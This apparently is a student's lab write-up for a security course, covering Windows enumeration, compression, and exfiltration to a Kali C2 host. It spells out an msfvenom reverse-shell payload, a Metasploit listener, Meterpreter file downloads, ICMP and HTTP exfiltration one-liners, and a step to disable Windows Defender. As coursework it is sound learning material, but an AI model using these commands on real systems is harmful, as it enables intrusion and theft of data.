Staging and Exfiltration - aljimenez28/SEC-335 GitHub Wiki

Contents:


Task 1: Enumeration

image

Enumeration Commands

Enumeration.ps1!

My enumeration script that I made in notepad:

image

LOLbin Command #1:

wmic qfe list brief
image

What it gathers:

This command gathers the updates installed on the machine, when they were installed, the hotfix, and who they were installed by

Why an attacker wants it:

This is essential for an attacker because if a system is out of date or missing an update, it could have vulnerabilities and other possible exploits

LOLbin Command #2

cmd /c set
image

Why is this important to an attacker:

set is used to display the system's variables. /c makes sure that the window is closed right after it is run and this could be useful for an attacker if they are running a script in the background.

LOLbin command #3

netsh interfact show interface
image

What it gathers:

Shows the network interfaces on the Windows system and their administrative/connection status

Why an attacker wants it:

It can reveal which network interfaces are present and which ones are currently connected, helping an attacker understand the host's network environment.

LOLbin Command #4: net.exe

C:\Windows\system32\net.exe stop "samss" /y
image

Why is this important to an attacker:

This command has the ability to stop or pause services on the target system.

LOLbin Command #5:

nslookup firefox.com
image

Why could this be useful for an attacker:

This is useful because it reveals the DNS server that is being used by the machine.


Compression

After completing all enumeration commands, compress all output files into one archive using each of these compression tools from the “Lab Environment Setup.”

  • Switch to WindowsISE, type in the following script and make it into a .dds file. Then type in the Compress-Archive command below to compress it into a zip file
Compress-Archive -Path C:\temp\*.txt -DestinationPath C:\temp\archives\enum_out_pscompress.zip
image
  • Here, 7zip was the method of compression
"C:\Program Files\7-zip\7z.exe" a -tzip C:\temp\archives\enum_out_7z.zip C:\temp\*.txt
image
  • Here I used tar to compress the file into a zip file and then used %errorlevel% to confirm that the file was made
tar -czvf C:\temp\archives\enum_out.tar.gz -C C:\temp *.txt
image
  • Here the file was compressed in a .cab format using this command:
makecab /f C:\temp\enum.ddf
image
  • The proper result:
image

Task 2: Exfiltration via C2 Channel

Objective: Establish a reverse shell and exfiltrate the compressed archives to your C2 server.

image

Part A: Reverse Shell Setup

1. Generate a Meterpreter payload for your Windows VM and don’t use port 4444.

In your Kali VM run the following command

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=5555 -f exe > exfil.exe
python3 -m http.server 8000
Screenshot 2026-10-02 200606
  • Use the curl command

Windows Machine

curl.exe http://10.0.17.49:8000/exfil.exe -o exfil.exe
Screenshot 2026-10-02 200805

2. Start a listener on your Kali/C2 server

  • Open msf console with msfconsole -q and then input the following series of commands:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.17.47
set LPORT 5555
set ExitOnSession false
exploit -j
Screenshot 2026-10-02 201328

🚨Don't forget to DISABLE Windows Defender🚨

3. Run the payload on your Windows VM and verify you get a Meterpreter session

  • Run exfil.exe on Windows
Screenshot 2026-10-02 201413
  • Check to see if the session was created with sessions -l
Screenshot 2026-10-02 202356 Screenshot 2026-10-02 202519

I believe Kali says that a meterpreter session has opened under exploit -j after the session is created aswell

  • Start the session using sessions -i 1
Screenshot 2026-10-02 203608

Part B: File Exfiltration

  1. Use the download command to transfer each archive from C:\temp\ to your c2 server
download -r C:\\temp\\archives /tmp
Screenshot 2026-10-02 204150
  1. Verify each file transferred completely to your c2
ls -la /tmp
Screenshot 2026-10-02 204322

Task 3: Archive Decompression and Verification

Objective: Decompress each archive on Linux and verify data integrity.

Screenshot 2026-10-02 204753

🌟 Prerequisites

  • Install 7zip-full
sudo apt install p7zip-full -y
Screenshot 2026-10-02 205119
  • Install cabextract
sudo apt install cabextract -y
Screenshot 2026-10-02 205205

Video showing decompression commands running

  • Destination folders need to be created first
mkdir -p ~/Desktop/tar_output ~/Desktop/7z_output ~/Desktop/pscompress_output ~/Desktop/cab_output
Screenshot 2026-10-02 205456
  • These commands are the ones used to decompress the archives on Kali
cd ~/tmp
unzip enum_out_7z.zip -d ~/Desktop/7z_output/
unzip enum_output_pscompress.zip -d ~/Desktop/pscompress_output/
cabextract enum_output.cab -d ~/Desktop/cab_output/
tar -xzvf enum_out.tar.gz -C ~/Desktop/tar_output/

Show that one file from each archive is opened and readable

  • tar_output
Screenshot 2026-10-02 211644
  • 7z_output
Screenshot 2026-10-02 211745
  • pscompress_output
Screenshot 2026-10-02 211846
  • cab_output
Screenshot 2026-10-02 211932

Task 4: Non-Standard Protocol Exfiltration

Objective: Exfiltrate data using protocols not typically used for file transfer.

Screenshot 2026-10-02 212708

Your Task:

  1. Research two non-standard exfiltration methods (choose from ICMP, DNS, SMTP, or others)
  2. Set up the tools on your C2 server - the tools may already be on Kali like dnscat2
  3. Exfiltrate one of your archives from the Windows VM to your Kali server using each method
  4. Decompress the exfiltrated archive and verify the contents are readable by showing the contents of 1 file.
image

Video of each exfiltration method working

🌟 Prerequisites

Make file for scripts for HTTP and ICMP listener

image

Don't forget to change the permissions and make them executable

ICMPListener.py

HTTPListener.py

ICMP

1. Execute ICMP listener using sudo ./ICMPListener.py

image

2. Go to Windows and execute the command to send the data

$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path "C:/temp/output_7za.zip" -Encoding Byte -ReadCount 1024) { $ping.Send("10.0.17.36", 1500, $Data) }
image

This command states that for each piece of data in the the path C:/temp/archives/enum_out_7z.zip, it will send it to the ip address 10.0.17.47

  • If you check kali, you should have output stating "Got chunk"
image

3. Verify the contents of the files are readable

  • Unzip the reassembled_output file
unzip reassembled_output -d icmp_output
image
  • Go into the icmp_output directory and check for the files
image
  • Open file and check to see if contents are readable
image

HTTP

1. Execute HTTP listener using sudo ./HTTPListener.py

image

2. Make sure bytes are readable and invoke the web request

  • Bytes command
$bytes = [System.IO.File]::ReadAllBytes("C:\temp\archives\enum_out_7z.zip")
  • Web Request command
Invoke-WebRequest -Uri "http://10.0.17.47:8080/upload" -Method POST -Body $bytes -ContentType "application/octet-stream"
image

3. Verify the files were sent and that the files are readable

  • It should say that there were bytes received in the HTTP listener
image
  • Unzip recieved_file
unzip receieved_file -d output_http
image
  • Go to output_http directory and look inside a file to see if it's readable
image
⚠️ **GitHub.com Fallback** ⚠️